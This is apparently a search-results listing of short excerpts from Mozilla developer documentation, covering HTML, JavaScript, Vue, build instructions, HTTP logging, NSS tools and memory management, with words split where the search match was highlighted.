...he textbox displays multiple lines. if the user presses enter, a new line is started. if false, the textbox only allows entry of one line. newlines type: one of the values below how the text box handles pastes with newlines in them. possible values: pasteintact paste newlines unchanged pastetofirst paste text up to the first newline, dropping the rest of the text replacewithco
mmas pastes the text with the newlines replaced with co
mmas replacewithspaces pastes the text with newlines replaced with spaces strip pastes the text with the newlines removed stripsurroundingwhitespace pastes the text with newlines and adjacent whitespace removed onblur type: script code this event is sent when a textbox loses keyboard focus. note: the behavior of this event...
...modified by a script. rows type: integer the number of rows to display in the element. if the element contains more than this number of rows, a scrollbar will appear which the user can use to scroll to the other rows. to get the actual number of rows in the element, use the getrowcount method. searchbutton type: boolean if true, the search field will only fire a co
mmand event when the user presses the search button or presses the enter key. otherwise, the co
mmand event is fired whenever the user modifies the value. this attribute only applies to textboxes with the type search. size type: integer the number of characters that can be displayed in the textbox. spellcheck type: boolean if true, spell checking is enabled by default for the text bo...
...And 6 more matches
toolbarbutton - Archive of obsolete content
all toolbar functionality should be duplicated elsewhere in the application where possible, provide keyboard alternatives. where possible, duplicate functionality in a menu item or context menu. where not possible, make all toolbarbuttons focusable by -moz-user-focus: normal. ...
...he application where possible, provide keyboard alternatives. where possible, duplicate functionality in a menu item or context menu. where not possible, make all toolbarbuttons focusable by -moz-user-focus: normal. ...
...tem or context menu. where not possible, make all toolbarbuttons focusable by -moz-user-focus: normal. ...
...And 6 more matches
The Business Benefits of Web Standards - Archive of obsolete content
change of presentation for all these documents in a snap. strict html (as opposed to the often-used transitional html markup), forces the designer not to use presentation tags in the html documents, naturally enforcing the separation of content from presentation. by locating all the style and design issues in one document - the style sheet - whole sites can be rethemed in one go. the blogging co
mmunity are particularly dynamic in this respect where on many platforms including wordpress, textpattern and habari, the site theme is a complete and discrete entity in its own right. improved user experience: less bandwidth and fast loads html code is often much more compact (therefore easier to read and maintain) when used in conjunction with css. according to various reports, case studies, and...
...ws...) web content is increasingly being accessed by a growing number of user agents other than browsers, or by browsers on different platforms - for example mobile telephones. feed content such as rss and atom simply will not work without being implemented by following the requisite standard. assumptions about the user and their platform based on erroneous thinking about the anticipated user co
mmunity are inevitably always wrong. it does not follow for example that successful business users have wide monitors. the opposite may be true. power users and business travellers are downsizing their notebooks. increasingly one person may need to acccess the same site using different platforms at home, in the office and when travelling. they expect a consistent experience. web standards gives us ...
...c expressions)... such technologies have been designed to be interoperable, are the base of web services. this goes much further than just web authoring. reduce costs of maintenance and site operations what is maintenance anyway? one of the most important features of a successful site is constantly evolving relevant content which in turn can act as fuel for social media dialogue with the user co
mmunity. from this it follows that there needs to be a framework and a process for content contributors to post articles, to upload videos, sound or any other media. a web site is only a vehicle for carrying, navigating and displaying that content. content management systems attempt with some success to supply that level of functionality. they act as a very good example of real separation not only o...
...And 6 more matches
Getting started with HTML - Learn web development
her important basic language features. along the way, there will be an opportunity to play with html too! prerequisites: basic computer literacy, basic software installed, and basic knowledge of working with files. objective: to gain basic familiarity with html, and practice writing a few html elements. what is html? html (hypertext markup language) is not a progra
mming language. it is a markup language that tells web browsers how to structure the web pages you visit. it can be as complicated or as simple as the web developer wants it to be. html consists of a series of elements, which you use to enclose, wrap, or mark up different parts of content to make it appear or act in a certain way. the enclosing tags can make content into a hyperlink to connect to an...
...here the element begins or starts to take effect. in this example, it precedes the start of the paragraph text. the content: this is the content of the element. in this example, it is the paragraph text. the closing tag: this is the same as the opening tag, except that it includes a forward slash before the element name. this marks where the element ends. failing to include a closing tag is a co
mmon beginner error that can produce peculiar results. the element is the opening tag, followed by content, followed by the closing tag. active learning: creating your first html element edit the line below in the input area by wrapping it with the tags <em> and </em>. to open the element, put the opening tag <em> at the start of the line. to close the element, put the closing tag </em> at the e...
...the terms block and inline, as used in this article, should not be confused with the types of css boxes that have the same names. while the names correlate by default, changing the css display type doesn't change the category of the element, and doesn't affect which elements it can contain and which elements it can be contained in. one reason html5 dropped these terms was to prevent this rather co
mmon confusion. note: find useful reference pages that include lists of block and inline elements. see block-level elements and inline elements. empty elements not all elements follow the pattern of an opening tag, content, and a closing tag. some elements consist of a single tag, which is typically used to insert/embed something in the document. for example, the <img> element embeds an image ...
...And 6 more matches
Introducing asynchronous JavaScript - Learn web development
ccess or fetch some kind of resource from an external device, such as fetching a file from the network, accessing a database and returning data from it, accessing a video stream from a web cam, or broadcasting the display to a vr headset. why is this difficult to get to work using synchronous code? let's look at a quick example. when you fetch an image from a server, you can't return the result i
mmediately. that means that the following (pseudocode) wouldn't work: let response = fetch('myimage.png'); let blob = response.blob(); // display your image blob in the ui somehow that's because you don't know how long the image will take to download, so when you come to run the second line it will throw an error (possibly intermittently, possibly every time) because the response is not yet availa...
...e functions that are specified as arguments when calling a function which will start executing code in the background. when the background code finishes running, it calls the callback function to let you know the work is done, or to let you know that something of interest has happened. using callbacks is slightly old-fashioned now, but you'll still see them in use in a number of older-but-still-co
mmonly-used apis. an example of an async callback is the second parameter of the addeventlistener() method (as we saw in action above): btn.addeventlistener('click', () => { alert('you clicked me!'); let pelem = document.createelement('p'); pelem.textcontent = 'this is a newly-added paragraph.'; document.body.appendchild(pelem); }); the first parameter is the type of event to be listened...
...his is a newly-added paragraph.'; document.body.appendchild(pelem); }); the first parameter is the type of event to be listened for, and the second parameter is a callback function that is invoked when the event is fired. when we pass a callback function as an argument to another function, we are only passing the function's reference as an argument, i.e, the callback function is not executed i
mmediately. it is “called back” (hence the name) asynchronously somewhere inside the containing function’s body. the containing function is responsible for executing the callback function when the time comes. you can write your own function containing a callback easily enough. let's look at another example that loads a resource via the xmlhttprequest api (run it live, and see the source): fu...
...And 6 more matches
JavaScript object basics - Learn web development
vascript features that we've already seen earlier in the course, reiterating the fact that many of the features you've already dealt with are objects. prerequisites: basic computer literacy, a basic understanding of html and css, familiarity with javascript basics (see first steps and building blocks). objective: to understand the basic theory behind object-oriented progra
mming, how this relates to javascript ("most things are objects"), and how to start working with javascript objects. object basics an object is a collection of related data and/or functionality (which usually consists of several variables and functions — which are called properties and methods when they are inside objects.) let's work through an example to understand what they look like. ...
...bjects.) let's work through an example to understand what they look like. to begin with, make a local copy of our oojs.html file. this contains very little — a <script> element for us to write our source code into. we'll use this as a basis for exploring basic object syntax. while working with this example you should have your developer tools javascript console open and ready to type in some co
mmands. as with many things in javascript, creating an object often begins with defining and initializing a variable. try entering the following line below the javascript code that's already in your file, then saving and refreshing: const person = {}; now open your browser's javascript console, enter person into it, and press enter/return. you should get a result similar to one of the below lines...
... have now got some data and functionality inside your object, and are now able to access them with some nice simple syntax! note: if you are having trouble getting this to work, try comparing your code against our version — see oojs-finished.html (also see it running live). the live version will give you a blank screen, but that's ok — again, open your devtools and try typing in the above co
mmands to see the object structure. so what is going on here? well, an object is made up of multiple members, each of which has a name (e.g. name and age above), and a value (e.g. ['bob', 'smith'] and 32). each name/value pair must be separated by a co
mma, and the name and value in each case are separated by a colon. the syntax always follows this pattern: const objectname = { member1name: memb...
...And 6 more matches
Using Vue computed properties - Learn web development
rview: client-side javascript frameworks next in this article we'll add a counter that displays the number of completed todo items, using a feature of vue called computed properties. these work similarly to methods, but only re-run when one of their dependencies changes. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line. vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to learn how to ...
...ge the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to learn how to use vue computed properties. using computed properties the aim here is to add a su
mmary count of our to-do list. this can be useful for users, while also serving to label the list for assistive technology. if we have 2 of 5 items completed in our to-do list, our su
mmary could read "3 items completed out of 5". while it might be tempting to do something like this: <h2>{{todoitems.filter(item => item.done).length}} out of {{todoitems.length}} items completed</h2> it would be rec...
...e problem. a better solution is to use vue’s computed properties. computed properties work similarly to methods, but only re-run when one of their dependencies changes. in our case, this would only re-run when the todoitems array changes. to create a computed property, we need to add a computed property to our component object, much like the methods property we've used previously. ...
...And 6 more matches
Accessibility API cross-reference
l types, such as button, menu item, text, etc. they also define a list of possible object states, such as focused, read-only, checked, etc. an interesting problem is that mozilla, safari/khtml, opera, staroffice and other apps are cross-platform, but there is currently no cross-platform accessibility api. the ipc mechanisms used by current generation api's are also not cross-platform, although co
mmunication for some cross-platform accessibility api of the future could be done through sockets. these tables describe how various accessibility apis define possible roles of an object, and states. all accessibility apis to date define a list of possible object roles, or general types, such as button, menu item, text, etc. they also define a list of possible object states, such as focused, read-o...
...ading of a table's column columnheader column_header column_header, table_column_header columnheader <th scope=col> edit control with drop down list box, different from droplist combobox combo_box combo_box combobox abstract role - a form of widget that performs an action but does not receive input data. co
mmand a supporting section of the document, designed to be complementary to the main content at a similar level in the dom hierarchy, but remains meaningful when separated from the main content. complementary <aside> n/a but <div> or even <p> have been suggested for this purpose a widget that may contain navigable descendants or owned childr...
...ndows grip n/a n/a n/a probably a group box (titledbox in mozilla) grouping panel panel group <fieldset>, <div> a heading for a section of the page. in aria, the heading level is expressed with the aria-level attribute. heading <h1> ... <h6> <h1> ... <h6>. ...
...And 6 more matches
CSUN Firefox Materials
uct of the year, firefox has attracted a huge following among savvy users who simply care enough about their web browsing experience to download a new piece of software. websites such as online magazines with sophisticated audiences are now reporting upwards of 25% firefox usage. why do the most discerning users switch to firefox? because firefox rethinks the web, and does away with many of the co
mmon annoyances that cause browsing to be difficult for ordinary people. firefox's "www for everyone" philosophy is also a great accessibility story. every user, regardless of what accomodations they need, can enjoy a less cluttered web, free of intrusions such as popup ads and spyware. the simple, uncluttered user interface is simply more pleasant. as a result, nearly everyone who tries firefox fin...
...esting list firefox works with popular screen readers, with the best support currently coming from gw micro's window-eyes 5.5. jaws support is quickly catching up as well. in recent articles from both afb's access world and nfb's voice of the nation's blind, reviewers found no significant roadblocks in moving to firefox from internet explorer for screen reader users. in fact, the same keyboard co
mmands are still available, so users can become comfortable and productive right away. screen magnifier users can also benefit from firefox's powerful features today, as caret and focus tracking are fully enabled. mozilla corporation is currently reaching out to work with ai squared, the makers of zoomtext, in order to enable complete support of advanced zoomtext features such as the doc reader and ...
...yboard navigation within the entire windows os much simpler. both history and bookmarks can be searched with a "quick search" field that quickly narrows the list down via a substring search. bookmarks can have a keyword assigned to them which can be typed into the address bar to bring up the bookmark. a "smart keywords" feature enhances this even further by allowing custom searches from the co
mmand line such as "word punditry" to look up the word "punditry" in an online dictionary. these smart keywords can be setup via the context menu for the search field on the desired website. integrated web search via ctrl+k is much faster to use than first going to the search tool's web site. custom searches can be added to this quick search bar and the user can switch between them by choosing fro...
...And 6 more matches
Creating a Language Pack
(i.e., a subdirectory ab-cd where ab-cd is your locale code). you still need to specify which application you're localizing (e.g., for firefox, that's browser, thunderbird would be mail). configure step you need to prepare the build directory, which is done with ./mach configure you only need to run this if the version number of firefox changes. windows: replace make with mozmake in the co
mmands below! creating a langpack we will now merge the localized files from x-testing locale with the en-us files from the original source. every time you want to create a langpack, you need to be in the directory obj-firefox-build/browser/locales. it is likely that you will continue to generate language packs as your progress just to test your work. while in that directory, issue the follow...
...elow! creating a langpack we will now merge the localized files from x-testing locale with the en-us files from the original source. every time you want to create a langpack, you need to be in the directory obj-firefox-build/browser/locales. it is likely that you will continue to generate language packs as your progress just to test your work. while in that directory, issue the following co
mmand: $ make merge-x-testing locale_mergedir=$(pwd)/mergedir x-testing: browser chrome browser aboutcerterror.dtd // add and localize this file ... // lots of notifications about missing entities ... x-testing: changed: 6 missinginfiles: 6124 missing: 5 0% of entries changed this step is not necessary anymore to create the language pack, ...
...ergedir=$(pwd)/mergedir x-testing: browser chrome browser aboutcerterror.dtd // add and localize this file ... // lots of notifications about missing entities ... ...
...And 6 more matches
HTTP logging
working approach won't work, for instance if your bug occurs during startup, or you're running on mobile, etc. in that case you can set environment variables *before* you launch firefox. note that this approach winds up logging the whole browser history, so files can get rather large (they compress well :) setting environment variables differs by operating system. ...
...ou can set environment variables *before* you launch firefox. note that this approach winds up logging the whole browser history, so files can get rather large (they compress well :) setting environment variables differs by operating system. don't let the scary-looking co
mmand line stuff frighten you off; it's not hard at all! windows if firefox is already running, exit out of it. open a co
mmand prompt. on windows xp, you can find the "run..." co
mmand in the start menu's "all programs" submenu. on all newer versions of windows, you can hold down the windows key and press "r". type cmd and press enter, a new co
mmand prompt window with a black background will appear. copy and paste the following lines one at a time into the co
mmand prompt window. press the enter key after each one.: ...
...m it is that you're having. once you've reproduced the problem, exit firefox and look for the generated log files in your temporary directory. you can type "%temp%" directly into the windows explorer location bar to get there quickly. linux this section offers information on how to capture http logs for firefox running on linux. quit out of firefox if it's running. open a new shell. the co
mmands listed here assume a bash-compatible shell. copy and paste the following co
mmands into the shell one at a time. make sure to hit enter after each line. export moz_log=timestamp,rotate:200,nshttp:5,cache2:5,nssockettransport:5,nshostresolver:5,cookie:5 export moz_log_file=/tmp/log.txt cd /path/to/firefox ./firefox reproduce the problem you're debugging. when the problem has been reprod...
...And 6 more matches
How Mozilla's build system works
for many developers, typing mach build to build the tree is sufficient to work with the source tree. this document explains how the build system works. note: this document is not intended for developers who just want to build mozilla. for that, see the build documentation. ...
... from many other config.status files, as it's written in python! instead of our configure script producing a shell script, it generates a python script. python 2 is prevalent in a mozilla build system. if we need to write code for the build system, we do it in python 2 instead of editing a makefile. config.status contains 2 parts: data structures representing the output of configure and a co
mmand-line interface for preparing, configuring, or generating an appropriate build backend. a build backend is merely a tool used to build the tree — like gnu make or tup. these data structures describe the current state of the system and what the existing build configuration looks like. for example, a data structure defines which compiler to use, how to invoke it, which application features ar...
...pport tools. when make is invoked, it starts at the export sub-tier of the first tier, and traverses all the directories in that tier. then, it does the same thing for the libs sub-tier and, subsequently, the tools sub-tier. it then moves on to the next tier and continues until no tiers remain. to view information about the tiers, you can execute the following special make targets: co
mmand effect make echo-tiers show the final list of tiers. make echo-dirs show the list of non-static source directories to iterate over, as determined by the tier list. make echo-variable-static_dirs show the list of static source directories to iterate over, as determined by the tier list. moz.build files moz.build files are how each part of the sourc...
...And 6 more matches
Simple Sunbird build
for complete information, see the build documentation. ...
...ll 'development tools' 'development libraries' 'gnome software development' sudo yum install mercurial autoconf213 glibc-static libstdc++-static yasm wireless-tools-devel mesa-libgl-devel mac: install xcode tools. insert "mac os x install disc 2", then open xcodetools.mpkg. (for some mac os x versions, you will find it in a directory called "optional installs".) install macports. run these co
mmands to install the other build tools: sudo port sync sudo port install mercurial libidl autoconf213 problems? see mac os x build prerequisites. windows: if you're using windows xp, you must have windows xp service pack 2 and .net framework 2.0. install visual c++ 2005 or 2008. both the professional edition and the express edition will work. you may need to install one or more windows sdk...
...the option to re-install with the 'correct settings'. after that all should be well.) open a shell window by running: c:\mozilla-build\start-msvcx.bat (where x is 8 for vs 2005, and 9 for vs 2008). problems? see windows build prerequisites. building sunbird building sunbird requires at least 2.5 gb of disk space, 500 mb of ram, and lots of available swap space. ...
...And 6 more matches
Simple Thunderbird build
while you can build thunderbird on older hardware it can take quite a bit of time to compile on slower machines with less ram. ...
...x.h 02/06/2009 17:02 5,012 mspst.h get the source note: on windows, you won't be able to build the thunderbird source code if it's under a directory with spaces in the path (e.g., don't use "documents and settings"). you can pick any other location, such as a new directory c:/thunderbird-src (where "c:/", with a forward slash, is intentional to clarify you are in the mozillabuild co
mmand prompt per windows build prerequisite). note: parts of the build process also have problems when the source code is in a directory where the path is long (nested many levels deep). on linux, this can manifest as problems setting up the virtualenv for running tests (failure to install pip or virtualenv because of os access denied errors, where access is denied not because of permission problem...
...dows. if you run into seemingly arbitrary problems in building and the source is deeply nested, try moving it closer to the root of your machine and re-building. get the latest mozilla source code from mozilla's mozilla-central mercurial code repository, and check it out into a local directory source/ (or however you want to call it). then, get the latest thunderbird source code from mozilla's co
mm-central mercurial code repository. it now needs to be placed inside the mozilla source code, in a directory named co
mm/ (this is inverse from thunderbird 59 and earlier): hg clone https://hg.mozilla.org/mozilla-central source/ cd source/ hg clone https://hg.mozilla.org/co
mm-central co
mm/ the source code requires 3.6gb of free space or more and additionally 5gb or more for default build. build...
...And 6 more matches
Examples
nts.utils.import("resource://gre/modules/promise.jsm"); var mypromise = myuserdefinedpromise(); mypromise.then( function(asuccessreason) { alert('mypromise was succesful and reason was = "' + asuccessreason + '"'); }, function(arejectreason) { alert('mypromise failed for reason = "' + uneval(arejectreason) + '"'); } ); function myuserdefinedpromise() { try { //var myvarisco
mmented = 'hi'; // i co
mmented this out s oit is undefined, this will cause rejected alert(myvarisco
mmented); return promise.resolve('yay success'); // this makes the success function trigger with asuccessreason being 'yay success' but because i co
mmented out the var 2 lines above, it will error out on the alert(myvarisco
mmented) and never get to this success line. unco
mmet the var 2 lines ...
...s makes the success function trigger with asuccessreason being 'yay success' but because i co
mmented out the var 2 lines above, it will error out on the alert(myvarisco
mmented) and never get to this success line. unco
mmet the var 2 lines above to see the promise succesfully return } catch(ex) { return promise.reject(ex); } } copy and paste this code and the rejection will take place. unco
mment the line `//var myvarisco
mmented.....` and the promise will complete succesfully. ...
... above, it will error out on the alert(myvarisco
mmented) and never get to this success line. unco
mmet the var 2 lines above to see the promise succesfully return } catch(ex) { return promise.reject(ex); } } copy and paste this code and the rejection will take place. unco
mment the line `//var myvarisco
mmented.....` and the promise will complete succesfully. ...
...And 6 more matches
Using JavaScript code modules
registered location. the module is loaded into a specific javascript scope, such as xul script or javascript xpcom script, using components.utils.import() or components.utils["import"](). creating a javascript code module a very simple javascript module looks like this: var exported_symbols = ["foo", "bar"]; function foo() { return "foo"; } var bar = { name : "bar", size : 3 }; var du
mmy = "du
mmy"; notice that the module uses normal javascript to create functions, objects, constants, and any other javascript type. the module also defines a special array named exported_symbols. any javascript item named in exported_symbols will be exported from the module and injected into the importing scope. for example: components.utils.import("resource://app/my_module.jsm"); alert(foo());...
...nctions, objects, constants, and any other javascript type. the module also defines a special array named exported_symbols. any javascript item named in exported_symbols will be exported from the module and injected into the importing scope. for example: components.utils.import("resource://app/my_module.jsm"); alert(foo()); // displays "foo" alert(bar.size + 3); // displays "6" alert(du
mmy); // displays "du
mmy is not defined" because 'du
mmy' was not exported from the module note: when you're testing changes to a code module, be sure to change the application's build id (e.g., the version) before your next test run; otherwise, you may find yourself running the previous version of your module's code. the url for a code module as you can see from the example above, you ne...
...ts.utils.unload() allows you to unload a previously imported code module. once this method has been called, references to the module will continue to work but any subsequent import of the module will reload it and give a new reference. examples a template to download and edit is seen here on github - gists - _template-bootstrapjsm.xpi extending resource: urls prior to gecko 2.0, the most co
mmon way to load code modules was using resource: urls. the basic syntax of a resource url is as follows: resource://<alias>/<relative-path>/<file.js|jsm> the <alias> is an alias to a location, usually a physical location relative to the application or xul runtime. there are multiple pre-defined aliases set up by the xul runtime: app - alias to the location of the xul application gre - alias ...
...And 6 more matches
Index
these resources are for anyone with an interest in the technical aspects involved in localization. 2 application translation with mercurial android, draft, editing, firefox, lightning, localization, mercurial, seamonkey, translate, patch, thunderbird first, get the required programs to compile mozilla applications like firefox and thunderbird from build instructions. this is only necessary once. ...
...p explain how to localize these strings so that the correct plural form is shown to the user. for example, "1 page" vs "2 pages". 9 localization content best practices apps, extensions, internationalization, localization, mozilla, l10n, l12y this document provides best practices for developers to create localizable code, and describes how to avoid some localizability (l12y) co
mmon mistakes. 10 localization notes guide, internationalization, localization, mozilla localizers usually work on the localizable files without the context of the source files including the localized strings; it is important to add co
mments to the localizable files themselves, too. these co
mments are generally referred to as localization notes. there is an established format f...
...cted your l10n tools and projects, done some localization and even some testing! now you're ready for the final phase: becoming an official l10n release. here, we'll continue to stay true to the original intent of this guide and only present you with the technical information you need to become an official release. we'll primarily focus on getting your release repository setup and the mercurial co
mmands you'll need to know to use that repository. 16 translation phase localization, localization:tools congratulations on completing the initial setup! as a reward for your efforts, you get to move on to the very reason you've come here: to localize mozilla projects. 17 localization sign-off reviews guide, localization, mozilla this article presents an ove...
...And 6 more matches
MathML Accessibility in Mozilla
le in gecko 41.0 (firefox 41.0 / thunderbird 41.0 / seamonkey 2.38) and we are still trying to keep in sync with webkit/voiceover. note that voiceover is proprietary so we do not have control on improvements to mathml accessibility in voiceover. linux: mathml support is provided by the development version of orca. we try to keep in sync with webkit/atk/orca developments. at the moment, it is reco
mmended to use a nightly build to ensure that the accessible tree expected by orca is correctly exposed. accessfu: mathml support in android and firefox os is currently being implemented in our accessfu module and a patch is available on bug 1163374. the table gives the output in mode "utterance" and description spoken last. note that this is still very experimental. mathml windows ...
...ssout __________ not supported. see webkit's bug 146543. x plus y enclosed by: a horizontal strike x + y horizontal strike enclosed x+y __________ x plus y __________ not supported. see webkit's bug 146543. x plus y enclosed by: an arabic factorial symbol x + y up madruwb enclosed abcd e __________ open a co
mma b co
mma c co
mma d co
mma e close __________ not supported. see bug 1176970 ; safari+voiceover reads "(, abcde, )". left paren. a co
mma. b co
mma. co
mma. d co
mma. e. right paren not supported. abcd e __________ the set a ; b ; c ; d ; e end set __________ not su...
...ted. abcd e __________ the set a ; b ; c ; d ; e end set __________ not supported. see bug 1176970 ; safari+voiceover reads "{, abcde, }". left brace. a semicolon. b semicolon. c semicolon. d semicolon. e. right brace not supported. abcde __________ the set a ; b ; c co
mma d co
mma e end set __________ not supported. see bug 1176970 ; safari+voiceover reads "{, abcde, }". left brace. a semicolon. b semicolon. c co
mma. d co
mma. e. right brace not supported. abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz not exposed to orca. see bug 1182469. abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqr...
...And 6 more matches
NSS tools : crlutil
te, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl. synopsis crlutil [options] [[arguments]] status this documentation is still work in progress. please contribute to the initial review in mozilla nss bug 836477[1] description the certificate revocation list (crl) management tool, crlutil, is a co
mmand-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl. the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see certutil tool) and continues with cert...
...l) and continues with certificates expiration or revocation. this document discusses certificate revocation list management. for information on security module database management, see using the security module database tool. for information on certificate and key database management, see using the certificate database tool. to run the certificate revocation list management tool, type the co
mmand crlutil option [arguments] where options and arguments are combinations of the options and arguments listed in the following section. each co
mmand takes one option. each option may take zero or more arguments. to see a usage string, issue the co
mmand without options, or with the -h option. options and arguments options options specify an action. option arguments modify an action. the o...
... -i import a crl to the cert database -e erase all crls of specified type from the cert database -l list existing crl located in cert database file. ...
...And 6 more matches
sslintro.html
d in the mdn style guide. if you are inclined to help with this migration, your help would be very much appreciated. ...
...an ssl application ssl and related apis allow compliant applications to configure sockets for authenticated, tamper-proof, and encrypted co
mmunications. this chapter introduces some of the basic ssl functions. chapter 2, "getting started with ssl" illustrates their use in sample client and server applications. an ssl application typically includes five parts: initialization configuration co
mmunication functions used by callbacks cleanup although the details differ somewhat for client and server applications, the concepts and many of the functions are the same for both. warning: some of the ssl header files provided as part of nss 2.0 include both public apis documented in the nss 2.0 documentation set and private apis intended for internal use by the nss implementation of ssl...
... asks for client authentication information. this callback is required if you want to do client authentication. you can set the callback function to a standard one that is provided, nss_getclientauthdata. ssl_handshakecallback. specifies a callback function that will be used by ssl to inform either a client application or a server application when the ssl handshake is completed. optional. ...
...And 6 more matches
NSS Tools pk12util
rprise server 3.x and any server (netscape products or non-netscape products) that supports pkcs#12 possible. the tool allows you to import certificates and keys from pkcs #12 files into nss or export them and also list certificates and keys in such files. availability see the release notes for the platforms this tool is available on. ...
...rtificates and keys from pkcs #12 files into nss or export them and also list certificates and keys in such files. availability see the release notes for the platforms this tool is available on. ...
...m and also list certificates and keys in such files. availability see the release notes for the platforms this tool is available on. synopsis pk12util -i p12file [-h tokenname] [-v] [co
mmon-options] or pk12util -o p12file -n certname [-c keycipher] [-c certcipher] [-m | --key_len keylen] [-n | --cert_key_len certkeylen] [co
mmon-options] or pk12util -l p12file [-h tokenname] [-r] [co
mmon-options] where [co
mmon-options] = [-d dir] [-p dbprefix] [-k slotpasswordfile | -k slotpassword] [-w p12filepasswordfile | -w p12filepassword] syntax to run the pkcs #12 tool, type ther co
mmand pk12util option [arguments] where option and arguments are combinations of the options and arguments listed in the following section. three of the options, -i, -o, and -l, should be considered co...
...And 6 more matches
NSS tools : crlutil
name crlutil — list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl. synopsis crlutil [options] arguments description the certificate revocation list (crl) management tool, crlutil, is a co
mmand-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl. the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see certutil tool) and continues with certificates expiration or revocation. this document discusse...
...es with certificates expiration or revocation. this document discusses certificate revocation list management. for information on security module database management, see using the security module database tool. for information on certificate and key database management, see using the certificate database tool. to run the certificate revocation list management tool, type the co
mmand crlutil option [arguments] where options and arguments are combinations of the options and arguments listed in the following section. each co
mmand takes one option. each option may take zero or more arguments. to see a usage string, issue the co
mmand without options, or with the -h option. options and arguments options options specify an action. option arguments modif...
... -d delete certificate revocation list from cert database. ...
...And 6 more matches
NSS tools : pk12util
the tool can import certificates and keys from pkcs#12 files into security databases, export certificates, and list certificates and keys. optio...
...the tool can import certificates and keys from pkcs#12 files into security databases, export certificates, and list certificates and keys. optio...
...the tool can import certificates and keys from pkcs#12 files into security databases, export certificates, and list certificates and keys. optio...
...And 6 more matches
Garbage collection
to exactly one zone. objects from the same zone but different compartments can share an arena. objects from different zones cannot be stored in the same arena. a zone remains alive as long as any js heap objects in the zone are alive. chunk a chunk is the largest internal unit of memory allocation. a chunk is 1mb and contains arenas, padding, the mark bitmap (chunkbitmap), a bitmap of deco
mmitted arenas, and a chunk header (chunkinfo). the chunkinfo contains a list of unallocated arenas, starting at chunkinfo::freearenashead and linked through arenaheader::next. the chunkinfo also contains some basic stats, such as the number of free arenas. arena an arena is an internal unit of memory allocation. an arena is one page (4096 bytes on almost all platforms) and contains an arenahead...
...pt program) run a bit, then do another bit of marking work. thus, instead of one long pause for marking, the gc does a series of short pauses. the pauses can be set to be 10ms or less. there is always a possibility that a long pause will be required. if the allocation rate is high during incremental gc, the engine may run out of memory before finishing the incremental gc. if so, the engine must i
mmediately restart a full, non-incremental gc in order to reclaim some memory and continue execution. incremental write barrier the problem that requires a write barrier incremental gc requires a write barrier for correctness. todo decent diagrams the basic problem is as follows (see dictionary for color terms). say object a is black and contains a pointer field. let object b be white. now let ...
...t be marked, because b is only reachable through a and we are all done with a, because a is black. thus, b is live but will be collected. the write barrier is a piece of code that runs just before a pointer store occurs and records just enough information to make sure that live objects don't get collected. the spidermonkey incremental write barrier spidermonkey uses a (relatively!) simple, co
mmon incremental write barrier called a snapshot-at-the-beginning allocate-black barrier. to understand how this barrier works, first assume that we're going to do an incremental gc during which no new objects are allocated, just to keep things simple. how do we make sure the gc doesn't collect any live objects? one way would be to make sure that every object that was live at the beginning of the i...
...And 6 more matches
Secure Development Guidelines
the following content will likely see significant revision, though can be used as a reference for security best practices to follow when developing code for mozilla. ...
... introduction: gaining control (2) eip is modified using call or jump instructions attacks usually rely on obtaining control over the eip otherwise the attacker can try to control memory pointed to by an existing function pointer a vulnerability is required to modify the eip or sensitive memory saved return addr or function pointer get altered introduction: gaining control (3) co
mmon issues used to gain control buffer overflows format string bugs integer overflows/underflows writing secure code: input validation input validation most vulnerabilities are a result of un-validated input always perform input validation could save you without knowing it examples: if it doesn’t have to be negative, store it in an unsigned int if the input does...
...one someday shall type "supercalifragilisticexpialidocious". ...
...And 6 more matches
Avoiding leaks in JavaScript XPCOM components
nect) is an environment where memory management issues are not obvious. there are no calls to malloc and free and no reference counting. despite this, it's easy to write javascript code that leaks. it's easy to write leaky code in any garbage-collected language. but it's even easier in this environment because some of the objects you're dealing with are reference-counted behind the scenes. progra
mmers writing and reviewing javascript code in mozilla should understand how code using xpcom in javascript can leak so that they can avoid leaks. this document attempts to help them do so, first by explaining the underlying concepts, and second by describing a number of co
mmon javascript patterns that cause leaks. basics of memory management creating objects that are not a fixed size for the life...
...such a memory allocation system are: memory should be returned to the heap when the program no longer needs it (or soon thereafter) so that the amount of memory consumed by the program does not increase. programs should not dereference pointers pointing to memory that has been returned to the heap (and potentially reused). meeting both requirements at the same time can be tricky. ...
... no longer needs it (or soon thereafter) so that the amount of memory consumed by the program does not increase. programs should not dereference pointers pointing to memory that has been returned to the heap (and potentially reused). meeting both requirements at the same time can be tricky. many progra
mming languages guarantee a solution for (2) and handle all the heap management for the progra
mmer. however, this doesn't mean that (1) is also solved. the most co
mmon strategies for managing heap allocation are the following: malloc and free (or new and delete) the simplest strategy for heap allocation is that the progra
mmer makes one function call to request memory from the heap and another one to return it. in c, these are malloc and free. in c++, they're new and delete. if the program...
...And 6 more matches
Introduction to XPCOM for the DOM
a quick introduction to the use of c++ and xpcom in the dom code. the understanding of the content of this document is a requirement to read the rest of the dom hacking guide. important note: this document assumes some knowledge of c++, specially the object-oriented part of it. i learned c++ by reading "c++ primer" from stanley lippman and josee lajoie, then experimenting on the dom code. i reco
mmend that book to all the beginners out there. introduction to the introduction the dom makes extensive use of xpcom. in fact, to do anything with the dom implementation you need xpcom. you do not, however, need to know all the hairy details, if you just intend to read the code or to work with the existing framework. the numerous macros and facilities brought by the dom, as well as nscomptr's, m...
...uch easier. in this chapter i will attempt to cover the most widespread use of xpcom in the dom, avoiding the details as much as possible. i will introduce nscomptr's, interfaces, reference counting, and the nsisupports interface. a tutorial about how to add a new interface is also provided, and eventually, a more detailed discussion of class inheritance in c++. interfaces object-oriented progra
